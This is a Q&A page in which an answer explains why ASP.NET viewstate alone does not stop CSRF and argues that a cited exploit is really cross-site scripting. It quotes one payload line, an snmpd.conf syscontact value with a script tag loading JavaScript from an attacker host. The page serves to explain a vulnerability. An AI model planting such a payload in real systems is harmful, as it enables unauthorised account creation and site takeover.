Sign Up

Sign Up to our social questions and Answers Engine to ask questions, answer people’s questions, and connect with other people.

Have an account? Sign In

Have an account? Sign In Now

Sign In

Login to our social questions & Answers Engine to ask questions answer people’s questions & connect with other people.

Sign Up Here

Forgot Password?

Don't have account, Sign Up Here

Forgot Password

Lost your password? Please enter your email address. You will receive a link and will create a new password via email.

Have an account? Sign In Now

You must login to ask a question.

Forgot Password?

Need An Account, Sign Up Here

Please briefly explain why you feel this question should be reported.

Please briefly explain why you feel this answer should be reported.

Please briefly explain why you feel this user should be reported.

Sign InSign Up

The Archive Base

The Archive Base Logo The Archive Base Logo

The Archive Base Navigation

  • SEARCH
  • Home
  • About Us
  • Blog
  • Contact Us
Search
Ask A Question

Mobile menu

Close
Ask a Question
  • Home
  • Add group
  • Groups page
  • Feed
  • User Profile
  • Communities
  • Questions
    • New Questions
    • Trending Questions
    • Must read Questions
    • Hot Questions
  • Polls
  • Tags
  • Badges
  • Buy Points
  • Users
  • Help
  • Buy Theme
  • SEARCH
Home/ Questions/Q 8269951
In Process

The Archive Base Latest Questions

Editorial Team
  • 0
Editorial Team
Asked: June 8, 20262026-06-08T06:24:11+00:00 2026-06-08T06:24:11+00:00

Under what conditions does having a viewstate in a request prevent CSRF attacks? This

  • 0

Under what conditions does having a viewstate in a request prevent CSRF attacks? This exploit claims that even though a viewstate is present in the request, it is still vulnerable to CSRF. However the exploit doesn’t explain why this is the case.

  • 1 1 Answer
  • 0 Views
  • 0 Followers
  • 0
Share
  • Facebook
  • Report

Leave an answer
Cancel reply

You must login to add an answer.

Forgot Password?

Need An Account, Sign Up Here

1 Answer

  • Voted
  • Oldest
  • Recent
  • Random
  1. Editorial Team
    Editorial Team
    2026-06-08T06:24:14+00:00Added an answer on June 8, 2026 at 6:24 am

    The viewstate is a mean to persist the state of a view across postbacks (i. e. the property values of the controls). If this state can be guessed or forged by an attacker, then an attacker is also able to forge an authentic cross-site request.

    In the mentioned case, it seems that the attack actually requires a Cross-Site Scripting vulnerability to for the CSRF exploit:

    Through a combination of XSS and CSRF, a user can be added to the web application by configuring the snmpd.conf file to point to an attacker-controlled JavaScript file:

    syscontact <script src="http://attacker/evil.js"></script>
    

    So having the exploit code executed inside the target origin, this request forgery attack is not that ‘cross-site’ any more.

    Besides that, since the viewstate can be predictable under certain circumstances and thus does not protect against CSRF attacks, vendors added some unpredictable piece of information to the viewstate mechanism. In ASP.NET this is called the ViewStateUserKey property which is basically a private key per user that is used to salt for the viewstate’s MAC calculation.

    But as the exploit description says, it seems that they are already using such protection measures:

    […] NPM is also vulnerable to CSRF attacks despite the fact that it makes use of VIEWSTATE protection.

    So, again, this is rather a Cross-Site Scripting vulnerability than a Cross-Site Request Forgery vulnerability. Because if you are already able to execute JavaScript code from within the site, you already have the full control over the site.

    • 0
    • Reply
    • Share
      Share
      • Share on Facebook
      • Share on Twitter
      • Share on LinkedIn
      • Share on WhatsApp
      • Report

Sidebar

Related Questions

I have a control that goes inactive under some conditions in my iPhone app.
I know that, under typical conditions, a class is only loaded once. I also
Does anyone know under what conditions you can receive an 1146: Table '<database>.<table>' doesn't
Does anyone knows the limit of nested conditions (I mean conditions under another, several
Imagine you have one function that does stuff under one condition, eg. if an
Under what conditions does Huffman encoding make a string not compressible? Is it when
I have hack I need to employ under these conditions: It's the last page
There are various answers on Stack Overflow which explain the conditions under which tail
I have a console application which can also open winform under certain conditions.Processing(its a
In case of ifstream in C++, under what conditions are failbit and badbit flags

Explore

  • Home
  • Add group
  • Groups page
  • Communities
  • Questions
    • New Questions
    • Trending Questions
    • Must read Questions
    • Hot Questions
  • Polls
  • Tags
  • Badges
  • Users
  • Help
  • SEARCH

Footer

© 2021 The Archive Base. All Rights Reserved
With Love by The Archive Base

Insert/edit link

Enter the destination URL

Or link to existing content

    No search term specified. Showing recent items. Search or use up and down arrow keys to select an item.